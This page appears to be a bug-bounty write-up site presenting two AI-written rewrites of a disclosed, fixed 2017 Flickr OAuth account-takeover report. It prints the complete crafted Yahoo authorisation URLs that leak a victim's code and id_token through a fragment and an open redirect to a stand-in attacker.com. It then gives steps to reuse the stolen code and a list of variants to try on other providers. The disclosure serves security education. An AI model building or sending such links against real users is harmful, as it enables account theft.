Skip to content
OAuth / SSO Write-up Intermediate

Flickr Oauth Misconfiguration

mishre Follow

Published on mishresec.wordpress.com

Bounty$4,000 View original

Flickr is an image and video hosting website which is owned by Yahoo and resides on the flickr.com domain.

mishre, on mishresec.wordpress.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Flickr is an image and video hosting website owned by Yahoo, served from the flickr.com domain. Signing in to Flickr goes through Yahoo's identity system, and at the time of this research Yahoo had replaced the previous Flickr login flow with the classic OAuth authorisation code flow. The researcher had tested the earlier flow before and returned to see what had changed.

flickr
flickr From the original on mishresec.wordpress.com

In the new flow, a user who wants to log in to Flickr clicks a sign-in button, which sends the browser to Yahoo's OAuth authorisation endpoint. Yahoo authenticates the user (redirecting to the Yahoo login page first if the user is not already signed in to Yahoo), generates a code that identifies the logged-in user, and sends that code back to Flickr by redirect. Flickr then exchanges the code for an access token in the background, retrieves the user's data with that token, logs the user in, and finally redirects the browser to the URL passed in the redir parameter.

Setup

The researcher used his own test account to generate authentication codes, and an attacker-controlled domain (attacker.com in the write-up) to receive leaked values. No special tooling is described beyond downloading the Flickr Android application, which is where the open redirect was eventually found. The report was submitted through HackerOne.

Finding it

While reviewing Yahoo's OAuth implementation, the researcher read Yahoo's OpenID Connect documentation at https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html, which states that the response_type parameter can contain multiple values. He tested what happens when the parameter is set to code id_token.

Instead of sending the code in the query string to Flickr, Yahoo appended both the code and the id_token to the fragment part of the URL, redirecting to:

The fragment (everything after #) is preserved when handling redirect responses. That makes it a channel for leaking the victim's code to wherever the redir parameter points.

Two conditions limited the attack. First, Flickr only performs the redirect if a valid code is passed to the server via the query string, so an attacker has to generate a code with his own account and include it in the redirect_uri URL. Second, Yahoo correctly verified that the redir URL is of the form https://www.flickr.com/*, so the leak had to go through an open redirect on flickr.com itself. Finding one was not easy, given recent public findings about Flickr SSO account takeover.

Exploitation

Step 1: Find an open redirect on flickr.com

After downloading the Flickr Android application, the researcher noticed that passing a wrong token value to a social sharing endpoint, available through the app but not through the website, causes a redirect to the callback_url parameter:

HTTP
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F

Here token=a is the invalid token that triggers the redirect, and callback_url is the destination, supplied URL-encoded.

Step 2: Generate the attacker's own code

The attacker generates a Flickr authentication code for his own test account. This code is what Flickr will accept in the query string so that it performs the redirect.

Step 3: Build the link sent to the victim

The attacker constructs the following URL, using attacker.com as his server:

HTTP
https://api.login.yahoo.com/oauth2/request_auth?client_id=[redacted]–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=[redacted]&.scrumb=jeTYmScEVYq

The redirect_uri points at Flickr's OAuth callback and carries two nested parameters: code, set to the attacker's own code, and redir, set to the sharing_connect.gne open redirect with callback_url pointing at attacker.com. The response_type is code id_token, which is what causes the values to be placed in the fragment.

Step 4: The victim clicks the link

When the victim clicks the link, he is redirected to:

HTTP
https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker’s-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9%26token%3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#code={victim’s-code}&id_token={victim’s-id_token}

Flickr accepts the attacker's code from the query string and logs the attacker into Flickr in the victim's browser. The victim's own code and id_token sit in the fragment.

Step 5: The fragment follows the redirects

The victim is then redirected to:

HTTP
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code={victim’s-code}&id_token={victim’s-id_token}

and from there to:

HTTP
https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}

Because the fragment is preserved across redirects, the victim's code and id_token arrive at the attacker's server.

Step 6: Exchange the victim's code

Using JavaScript, the attacker extracts the code from the URL and browses to:

HTTP
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim’s-code}

This logs the attacker in to the victim's Flickr account.

Root cause

Two weaknesses combine. First, Yahoo's authorisation endpoint accepts a multi-valued response_type (code id_token) and, in that mode, returns the code and id_token in the URL fragment rather than the query string. The fragment survives server redirects, so it becomes a leak channel. Second, Flickr's redir validation only checks that the URL starts with https://www.flickr.com/*, which an open redirect on the same domain satisfies. The sharing_connect.gne endpoint, reachable through the Android app but not the website, redirects to an arbitrary callback_url when given an invalid token. The requirement that Flickr only redirects when a valid code is present in the query string is bypassed by supplying the attacker's own code.

Impact

An attacker can take over a victim's Flickr account. The victim must click a crafted link while logged in to Yahoo, and the attacker must have a Flickr account to generate the initial code. The attacker's own session is established in the victim's browser, and the victim's code is leaked to the attacker's server, which the attacker then uses to log in to the victim's account.

Fix

The report does not describe the specific fix applied. The timeline records that the report was resolved on 15 August 2017, within five hours of triage.

Variants to test

  1. Set response_type to other multi-value combinations (for example code token, id_token token) on OAuth providers that document multi-value support, and check whether any returned value lands in the fragment. A positive result is a redirect whose Location carries sensitive values after #.
  2. Look for open redirects on the exact host allowed by the redirect_uri or redir allowlist, including endpoints only reachable from mobile apps. A positive result is a redirect to an external domain from an allowlisted host.
  3. Test whether the callback endpoint performs its redirect only when a valid code is present, and whether supplying your own code satisfies that check. A positive result is a redirect that fires with your code and carries the victim's values in the fragment.
  4. Check whether fragment values survive each hop in a redirect chain to an external domain. A positive result is the victim's code arriving at a server you control.

Timeline

Date Event
13 Aug 2017 Initial report via HackerOne
14 Aug 2017 Report triaged and initial reward of $500
15 Aug 2017 Report resolved (within 5 hours)
6 Sep 2017 Additional $3,500 rewarded

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Flickr is a website where people upload and share photos and videos. It is owned by Yahoo and lives at flickr.com. To use Flickr you have to sign in, and Flickr does not check your password itself: it hands that job to Yahoo, the company that owns it. This report is about a way to make Flickr sign a victim's browser in as the attacker, and then steal the victim's own sign-in code so the attacker ends up inside the victim's account.

Two small mistakes, neither dangerous on its own, were chained together. The first was in Yahoo's sign-in system: a setting could be changed so that a secret value was placed in a part of the web address that browsers carry along when they follow redirects. The second was a page on flickr.com that would send visitors on to any other website you named. Put together, the victim's secret value travelled from Yahoo, through flickr.com, to a server the attacker controlled.

flickr
flickr From the original on mishresec.wordpress.com

The researcher had looked at Flickr's login before and came back to see what had changed. He found that Yahoo had moved Flickr to the standard OAuth login flow. He reported the problem through HackerOne on 13 August 2017. It was triaged the next day with an initial reward of $500, resolved on 15 August within five hours, and a further $3,500 was paid on 6 September.

The pieces you need to know first

Before the steps make sense, here are the ideas the whole attack rests on. Each one is simple on its own.

Signing in with someone else's account system

When you click "Sign in with Google" or "Sign in with Facebook" on some website, you are not giving that website your password. You are sent to Google or Facebook, which checks your password, and then sends you back to the website with a short note saying "this person is who they claim to be". This is convenient for everyone: the website never has to store passwords, and you only trust one company with them.

Flickr works this way with Yahoo. Flickr is the website you want to use; Yahoo is the identity provider, the company that actually checks who you are.

OAuth and the authorisation code

OAuth is the name of the rulebook for this handover. The version used here is called the authorisation code flow, and it works like a cloakroom ticket:

  1. You go to the cloakroom (Yahoo) and prove who you are.
  2. The attendant gives you a small ticket with a number on it (the code). The ticket is not your coat; it is just a claim check.
  3. You hand the ticket to the place that holds your coat (Flickr).
  4. Flickr takes the ticket to the back room and swaps it for the coat itself (an access token), which is the thing that actually lets it fetch your details.

The point of the two-step swap is that the valuable thing, the access token, is obtained by the website in the background rather than carried in the browser. Only the disposable ticket, the code, does. That is why a leaked code matters: whoever holds it can swap it for access.

URLs, query strings and fragments

A web address has parts. Take this made-up example:

  • https://example.com is the server.
  • /page is the page on that server.
  • ?name=alice is the query string: extra information sent to the server. The server sees it.
  • #section2 is the fragment: a marker for the browser itself, for example to jump to a heading. The server never sees it.

The fragment is the crucial part. Because the server never sees it, it is not sent in the request. But when a server answers with a redirect ("go to this other address instead"), the browser keeps the fragment from the current address and attaches it to the new one. Think of it as a sticky note on your browser window: the server cannot read it, but it stays stuck to the window as you are bounced from page to page.

Redirects and open redirects

A redirect is a server telling your browser "I am not the page you want, go here instead". Websites use them constantly, for example after you log in.

An open redirect is a redirect where the destination is taken from the address itself, with no check on where it points. If a page on a trusted site will forward you to any address you put in the URL, an attacker can use the trusted site's good name to send you somewhere else. It looks like you are still on the trusted site right up until you land on the attacker's page.

What a token is

A token is a short string of characters that stands in for your identity or your permission. It is like a wristband at an event: show it and you get in, no need to show ID again. An access token lets the holder fetch your data. An id_token is a signed statement about who you are. Both are sensitive: anyone who has one can act as you, at least for a while.

What account takeover means

Account takeover means someone else ends up in control of your account: reading your private things, posting as you, changing your settings. Here it happens in a slightly unusual way, which the steps below make clear.

The new Flickr login flow, step by step

When you click the sign-in button on Flickr, your browser is sent to Yahoo at an address like this:

HTTP
https://api.login.yahoo.com/oauth2/request_auth?client_id=[redacted]–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252F%253Fytcheck%253D1%2526new_session%253D1&response_type=code&scope=openid%2Csdpp-w&nonce=[redacted]&.scrumb=jeTYmScEVYq

This is the request that starts the whole handover. Reading it piece by piece:

  • api.login.yahoo.com/oauth2/request_auth is Yahoo's sign-in endpoint. It is the door you knock on to begin logging in.
  • client_id=... identifies which application is asking. Here it is Flickr. It is like telling the cloakroom which shop you are from.
  • redirect_uri=... is where Yahoo should send you back afterwards. It is heavily encoded (more on that below) and points at www.flickr.com/signin/yahoo/oauth/, Flickr's own receiving desk for the code.
  • Inside that redirect_uri there is a second parameter, redir, which is where Flickr should send you once it has logged you in.
  • response_type=code says what Yahoo should hand back. code means "give me a cloakroom ticket".
  • scope=openid%2Csdpp-w lists what Flickr is asking permission for. The %2C is just a comma that has been encoded.
  • nonce=... is a one-time random value used to make sure a reply belongs to this particular request.
  • .scrumb=... is a value Yahoo uses to protect against forged requests.

You will notice a lot of %3A, %2F and %25 in these addresses. That is URL encoding: certain characters have special meanings in a URL, so when you want to use one as ordinary data you write it in a code. %3A is a colon, %2F is a slash, %25 is a percent sign. When one URL is nested inside another, the encoding is applied twice, which is why you see %253A (an encoded %3A).

If you are not already signed in to Yahoo, Yahoo shows you its login page first. Once you are signed in, Yahoo creates a code that identifies you and sends your browser back to Flickr with it:

HTTP
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={redacted}

Here Flickr's receiving desk gets two things: redir, the place to send you afterwards, and code, the ticket. In the background, Flickr swaps the code for an access token, uses the token to fetch your details, logs you in, and finally sends you on to whatever address was in redir.

Finding the first weakness

While reading Yahoo's documentation for its OAuth system, at https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html, the researcher found a line saying that the response_type parameter can hold more than one value. That is unusual: normally you ask for one thing. He wondered what would happen if he asked for two, code id_token, and tried it.

Instead of putting the code in the query string, where the server sees it, Yahoo put both the code and the id_token in the fragment, after the #:

This is the first mistake. The values are still delivered to Flickr's page, but in the part of the address that the server never receives. Only the browser sees them. And as explained above, the browser carries the fragment along through redirects. So if Flickr then redirects the browser somewhere, the code and id_token go with it. That turns the fragment into a leak channel: whatever address the redir parameter names will receive the victim's secrets.

Two obstacles

It was not yet a working attack. Two things stood in the way.

First, Flickr only performs its redirect if a valid code arrives in the query string. The fragment does not count, because the server cannot see it. So an attacker cannot simply send a victim to Flickr and hope for a redirect. He has to supply a valid code himself, generated from his own account, and put it in the URL. That is why the attack needs the attacker to have a Flickr account.

Second, Yahoo checked that the redir address really was on flickr.com, of the form https://www.flickr.com/*. The * means "anything after this". So the leak could only be sent to a page on flickr.com, not straight to the attacker. To get the secrets off flickr.com, the attacker needed a page on flickr.com that would forward visitors to another site: an open redirect. Finding one was not easy, given recent public findings about Flickr SSO account takeover.

Step 1: find an open redirect on flickr.com

The researcher downloaded the Flickr Android app and looked at what it talked to. He noticed a social sharing endpoint, reachable through the app but not through the website, that redirects to whatever address is in its callback_url parameter when it is given a bad token:

HTTP
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F

Line by line:

  • www.flickr.com/sharing_connect.gne is the page. The .gne ending is just part of its name.
  • service_type_id=9 selects which sharing service is meant.
  • token=a is the deliberately wrong token. a is not a real token, and that invalidity is what triggers the redirect.
  • callback_url=https%3A%2F%2F%2Fgoogle.com%2F is where the page sends you. Decoded, it is https:///google.com/. The point is that the destination comes from the URL and is not restricted to flickr.com, which is exactly the open redirect needed.

This is the second mistake: a page on the trusted domain will forward a visitor to an arbitrary address.

Step 2: generate the attacker's own code

The attacker generates a valid code for his own test account. This code is the key that unlocks the redirect in the next step, because Flickr will only redirect when a valid code is present in the query string.

Step 3: build the link sent to the victim

The attacker now builds one long address and sends it to the victim. attacker.com stands for a server the attacker controls:

HTTP
https://api.login.yahoo.com/oauth2/request_auth?client_id=[redacted]–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=[redacted]&.scrumb=jeTYmScEVYq

This looks intimidating, but it is the earlier sign-in address with three changes. Unpicking it:

  • client_id, scope, nonce and .scrumb are the same as in the normal Flickr sign-in request. The attacker is reusing Flickr's normal login parameters.
  • redirect_uri still points at Flickr's receiving desk, but now carries two nested parameters. code%3D{here-is-the-attacker’s-code} is the attacker's own code, which will satisfy Flickr's check. redir%3D... is the destination after login, and it is set to the sharing_connect.gne open redirect, whose own callback_url points at attacker.com. The layers of encoding (%253A and so on) are just the double encoding you get when a URL is nested inside another URL.
  • response_type=code id_token is the change that causes Yahoo to put the values in the fragment instead of the query string.

So the whole address says: "Yahoo, please log this person in, send them back to Flickr with my code, and have Flickr forward them to my server."

Step 4: the victim clicks the link

When the victim clicks, and is signed in to Yahoo, Yahoo does its normal job and sends the browser to Flickr:

HTTP
https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker’s-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9%26token%3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#code={victim’s-code}&id_token={victim’s-id_token}

Read it in two halves. Before the # is the query string, which the server sees: it contains the attacker's code and the redir destination. After the # is the fragment, which only the browser sees: it contains the victim's own code and id_token, freshly minted by Yahoo for this victim.

Flickr checks the query string, finds the attacker's valid code, and logs the attacker in, in the victim's browser. The victim's secrets sit in the fragment, invisible to Flickr's server but stuck to the browser window.

Step 5: the fragment follows the redirects

Flickr now does what it was asked and redirects to the redir destination, the open redirect page:

HTTP
https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code={victim’s-code}&id_token={victim’s-id_token}

The fragment is still attached. The page sees the invalid token=a and forwards the browser to its callback_url, and again the fragment comes along:

HTTP
https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}

The victim's code and id_token have now arrived at the attacker's server. This is the payoff of the two mistakes combined: the fragment carried the secrets, and the open redirect carried them off flickr.com.

Step 6: exchange the victim's code

A page on the attacker's server can read the fragment with JavaScript, because the fragment belongs to the browser. The attacker takes the victim's code and opens:

HTTP
https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim’s-code}

This is the same receiving desk as in the normal login, but with the victim's code instead of the attacker's. Flickr logs in the account that code belongs to, which is the victim's. The attacker is now inside the victim's Flickr account.

Why it worked

Two weaknesses had to line up.

  1. Yahoo's sign-in endpoint accepted a response_type with two values, code id_token, and in that mode returned the code and id_token in the fragment rather than the query string. Because browsers carry the fragment through redirects, it became a way to leak secrets.
  2. Flickr's check on the redir address only confirmed that it started with https://www.flickr.com/*. The sharing_connect.gne page, reachable from the Android app but not the website, redirects to any callback_url when given an invalid token, so it satisfied the check while sending the visitor elsewhere.

The rule that Flickr only redirects when a valid code is present was not a defence: the attacker simply supplied his own code.

What an attacker could do with it

An attacker could take over a victim's Flickr account. Two conditions were needed: the victim had to click the crafted link while signed in to Yahoo, and the attacker had to have a Flickr account to generate the first code. The attacker's own session was established in the victim's browser, and the victim's code was leaked to the attacker's server and exchanged for access to the victim's account.

The fix

The report does not describe the specific fix that was applied. The timeline shows the report was resolved on 15 August 2017, within five hours of triage.

Similar things worth testing elsewhere

These are the general lessons, phrased as things to try on other sites:

  1. On OAuth providers that document multi-value response_type, try other combinations such as code token or id_token token, and check whether any returned value ends up in the fragment. A positive result is a redirect whose Location header carries sensitive values after #.
  2. Look for open redirects on the exact host that the redirect_uri or redir allowlist permits, including pages only reachable from mobile apps. A positive result is a redirect to an external domain from an allowlisted host.
  3. Check whether the callback page only redirects when a valid code is present, and whether supplying your own code satisfies that check. A positive result is a redirect that fires with your code and carries the victim's values in the fragment.
  4. Check whether fragment values survive every hop in a redirect chain to an external domain. A positive result is the victim's code arriving at a server you control.

Timeline

Date Event
13 Aug 2017 Initial report via HackerOne
14 Aug 2017 Report triaged and initial reward of $500
15 Aug 2017 Report resolved (within 5 hours)
6 Sep 2017 Additional $3,500 rewarded

Glossary

  • Access token: a string that proves permission to fetch a user's data; whoever holds it can act as that user for a while.
  • Account takeover: when someone else gains control of your account and can read, post or change things as you.
  • Authorisation code: a short, disposable value that a sign-in provider gives the browser and the website swaps for an access token.
  • Authorisation code flow: the standard OAuth pattern where the browser carries a code and the website swaps it for a token in the background.
  • Callback URL: the address a service sends you back to after an action, here the destination of the sharing page's redirect.
  • Client ID: a public identifier for an application using a sign-in service, here Flickr's.
  • Code (in OAuth): see authorisation code.
  • Endpoint: a specific address on a server that performs a particular job, such as starting a login.
  • Fragment: the part of a URL after #; the browser keeps it and the server never receives it, but it survives redirects.
  • HackerOne: a platform where security researchers report bugs to companies and receive rewards.
  • Identity provider: the company that checks your password on behalf of another site, here Yahoo for Flickr.
  • id_token: a signed statement from the identity provider about who you are.
  • JavaScript: the programming language that runs inside web pages in your browser and can read things like the fragment.
  • Nonce: a one-time random value used to tie a reply to a particular request.
  • OAuth: the rulebook that lets one website sign you in using another company's account system without sharing your password.
  • Open redirect: a page that forwards you to any address supplied in the URL, with no check on where it points.
  • OpenID Connect: a layer on top of OAuth that adds identity information such as the id_token.
  • Query string: the part of a URL after ?; it is sent to the server.
  • Redirect: a server telling the browser to go to a different address instead.
  • Redirect URI: the address the identity provider sends the browser back to after sign-in.
  • Response type: the parameter that says what the identity provider should return, such as a code or an id_token.
  • Scope: the list of permissions an application is asking for.
  • Token: a string that stands in for identity or permission, like a wristband at an event.
  • Triage: the first review of a report, where the company confirms it is real and sets a priority.
  • URL encoding: writing special characters in a URL as codes such as %3A for a colon or %2F for a slash, so they are treated as data.
  • Vulnerability: a weakness in software that someone can misuse to do something the designers did not intend.

More by mishre

View all

9 more disclosed reports, best first.

More from Yahoo! / Verizon Media

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.